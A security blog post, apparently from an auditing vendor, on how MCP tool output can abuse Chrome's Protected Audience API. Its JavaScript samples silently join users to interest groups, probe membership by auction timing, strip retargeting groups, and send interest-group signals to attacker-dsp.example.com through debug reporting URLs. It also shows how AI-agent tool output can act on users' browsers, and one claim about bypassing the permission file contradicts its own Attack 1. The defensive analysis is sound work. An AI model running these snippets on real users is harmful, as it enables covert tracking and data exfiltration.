MCP Server Security · Protected Audience API · FLEDGE · Interest Group · joinAdInterestGroup · Auction Timing Oracle · Cross-Site Tracking · Privacy Sandbox

MCP server Protected Audience API security

The Protected Audience API (Chrome 115+, formerly FLEDGE) stores user interest group membership in the browser for targeted advertising without third-party cookies. MCP tool output can exploit it to silently add users to interest groups derived from the current page's context, probe existing interest group membership via auction execution timing, remove users from legitimate retargeting groups, and exfiltrate audience segments via bidding worklet debug reporting URLs — all without a user-visible permission dialog.

Protected Audience API surface

// Protected Audience API — Chrome 115+ (stable), Edge 115+
// No user permission dialog for joinAdInterestGroup()
// Permissions-Policy: join-ad-interest-group=() and run-ad-auction=() available

// Join an interest group — stores category in browser for up to 30 days
await navigator.joinAdInterestGroup({
  owner: 'https://dsp.example.com',           // must match .well-known permission
  name: 'car-intenders',                       // interest group label
  biddingLogicURL: 'https://dsp.example.com/bid.js',
  trustedBiddingSignalsURL: 'https://dsp.example.com/signals',
  userBiddingSignals: { pageCategory: 'auto', visitCount: 12 },
  ads: [{ renderURL: 'https://cdn.example.com/ad.html', metadata: {} }]
}, 30 * 24 * 60 * 60);   // duration in seconds (max 30 days)

// Leave an interest group — removes user from a retargeting category
await navigator.leaveAdInterestGroup({
  owner: 'https://dsp.example.com',
  name: 'car-intenders'
});

// Run an ad auction — returns winning ad URL or null if no winner
const adURL = await navigator.runAdAuction({
  seller: 'https://ssp.example.com',
  decisionLogicURL: 'https://ssp.example.com/score.js',
  interestGroupBuyers: ['https://dsp1.example.com', 'https://dsp2.example.com'],
  auctionSignals: { floor: 0.5 }
});

No permission dialog: navigator.joinAdInterestGroup() does not show any user-visible permission prompt. The browser adds the user to the interest group silently. The only gate is that the owner's .well-known/interest-group/permissions.json must allow the joining origin — but MCP tool output running on a first-party page bypasses this requirement entirely.

Attack 1 — cross-site interest group joining without consent

When MCP tool output runs on a first-party page, it inherits that page's origin context. If the page's origin is listed as an allowed joiner in the interest group owner's .well-known/interest-group/permissions.json, the tool can silently add the current user to any interest group that the owner offers. This creates a mechanism for cross-site user categorization without cookie access.

// Attack: MCP tool output running on https://news.example.com
// Silently adds the user to interest groups owned by a third-party DSP
// Based on the content of the current page — reveals browsing category

const articleCategory = document.querySelector('meta[name="article:section"]')?.content;

if (articleCategory) {
  await navigator.joinAdInterestGroup({
    owner: 'https://attacker-dsp.example.com',    // attacker's DSP
    name: articleCategory.toLowerCase(),            // 'politics', 'health', 'finance'
    biddingLogicURL: 'https://attacker-dsp.example.com/bid.js',
    userBiddingSignals: {
      page: location.href,           // full URL of current page
      category: articleCategory,
      ts: Date.now()
    },
    ads: [{ renderURL: 'https://attacker-dsp.example.com/ad.html', metadata: {} }]
  }, 30 * 24 * 60 * 60);

  // User is now in 'politics' or 'health' interest group for 30 days
  // Attacker's bidding worklet observes this group in future auctions across all sites
}

Attack 2 — auction timing oracle for interest group membership

The time for runAdAuction() to complete depends on how many interest groups participate in bidding and how complex the bidding logic is. By running minimal auctions with different interestGroupBuyers configurations and measuring execution time, an attacker can infer which interest groups the user has been added to — even groups added by other advertising networks.

// Attack: timing oracle for interest group presence
// Measure auction duration with target DSP in interestGroupBuyers vs. without
// Longer duration with DSP included = user has IGs from that DSP = they visited DSP's sites

async function probeInterestGroup(dspOrigin) {
  const t0 = performance.now();
  await navigator.runAdAuction({
    seller: 'https://my-ssp.example.com',
    decisionLogicURL: 'https://my-ssp.example.com/score.js',
    interestGroupBuyers: [dspOrigin],
    auctionSignals: {}
  });
  const withDSP = performance.now() - t0;

  const t1 = performance.now();
  await navigator.runAdAuction({
    seller: 'https://my-ssp.example.com',
    decisionLogicURL: 'https://my-ssp.example.com/score.js',
    interestGroupBuyers: ['https://empty-dsp.example.com'],  // no user IGs
    auctionSignals: {}
  });
  const withoutDSP = performance.now() - t1;

  // If withDSP >> withoutDSP, user has interest groups from dspOrigin
  // Reveals that user visited sites served by dspOrigin's advertising network
  return (withDSP - withoutDSP) > 20;  // 20ms threshold
}

Attack 3 — leaveAdInterestGroup sabotage

navigator.leaveAdInterestGroup() removes a user from a named interest group. Any script that knows the owner and group name can remove the user, even if that script did not originally join the user to the group. An MCP tool aware of common advertising network interest group naming conventions can systematically remove users from all known retargeting categories, disrupting the publisher's advertising revenue and the user's ad relevance without any permission.

// Attack: remove user from all known retargeting groups
// Disrupts retargeting campaigns for legitimate advertisers
// No permission required — leaveAdInterestGroup needs only owner + name

const knownGroups = [
  { owner: 'https://googletag.example.com', name: 'remarketing' },
  { owner: 'https://googletag.example.com', name: 'converted' },
  { owner: 'https://advertising.example.com', name: 'cart-abandoners' },
  { owner: 'https://advertising.example.com', name: 'product-viewers' },
  // ... enumerate known DSP naming conventions
];

for (const group of knownGroups) {
  await navigator.leaveAdInterestGroup(group);
  // User silently removed — no error if they weren't in the group
}

Attack 4 — forDebuggingOnly exfiltration from bidding worklets

Bidding worklets can call forDebuggingOnly.reportAdAuctionWin(url) and forDebuggingOnly.reportAdAuctionLoss(url) to send debug reporting URLs. Unlike Private Aggregation, these URLs can include arbitrary query parameters — including user interest group signals, bid prices, and auction metadata. This effectively bypasses the privacy protection of aggregated reporting during the debugging period.

// Inside a bidding worklet (bid.js served by the attacker's DSP):
function generateBid(interestGroup, auctionSignals, perBuyerSignals, trustedBiddingSignals, browserSignals) {
  // forDebuggingOnly — bypasses aggregation, sends raw data to attacker server
  // Includes the user's full interest group signals in plaintext
  forDebuggingOnly.reportAdAuctionWin(
    `https://attacker-dsp.example.com/debug?` +
    `ig=${encodeURIComponent(interestGroup.name)}` +
    `&signals=${encodeURIComponent(JSON.stringify(interestGroup.userBiddingSignals))}` +
    `&browser_signals=${encodeURIComponent(JSON.stringify(browserSignals))}`
  );

  return { bid: 1.5, render: interestGroup.ads[0].renderURL };
}

Severity: forDebuggingOnly reporting is unrestricted during the Privacy Sandbox transition period and sends data directly to attacker-controlled servers without k-anonymity or Laplace noise. It is intended for temporary debugging but may remain enabled in production worklets, creating a high-bandwidth exfiltration channel from the Protected Audience system.

What SkillAudit checks

CRITICAL
joinAdInterestGroup() with attacker-controlled owner or name — MCP tool output calling joinAdInterestGroup() with owner/name derived from page content or tool parameters; silently adds user to interest groups reflecting current browsing category across sites.
HIGH
forDebuggingOnly.reportAdAuction* with user signals in URL — bidding worklet sends raw interest group signals, bid values, or browser signals in debug reporting URLs; bypasses Private Aggregation privacy protections.
HIGH
runAdAuction() timing measurement for interest group probing — performance.now() delta around runAdAuction() calls with varying interestGroupBuyers used to infer presence of user interest groups from specific DSP origins.
MEDIUM
leaveAdInterestGroup() on groups the caller did not join — systematic removal of users from known advertising interest groups without joining them; disrupts legitimate publisher retargeting revenue.
MEDIUM
userBiddingSignals populated with page URL or PII — passing sensitive page context (full URL, user ID, article category) as userBiddingSignals makes this data available in the bidding worklet and potentially in forDebuggingOnly reports.

Browser support and Permissions-Policy controls

FeatureChrome 115+FirefoxSafariPermissions-Policy
joinAdInterestGroup()FullNot supportedNot supportedjoin-ad-interest-group=()
leaveAdInterestGroup()FullNot supportedNot supportedjoin-ad-interest-group=()
runAdAuction()FullNot supportedNot supportedrun-ad-auction=()
forDebuggingOnly reportingFull (transition period)No separate directive
Audit your MCP server →

Related: Private Aggregation API security · Shared Storage API security · Compression Streams deep dive · All security posts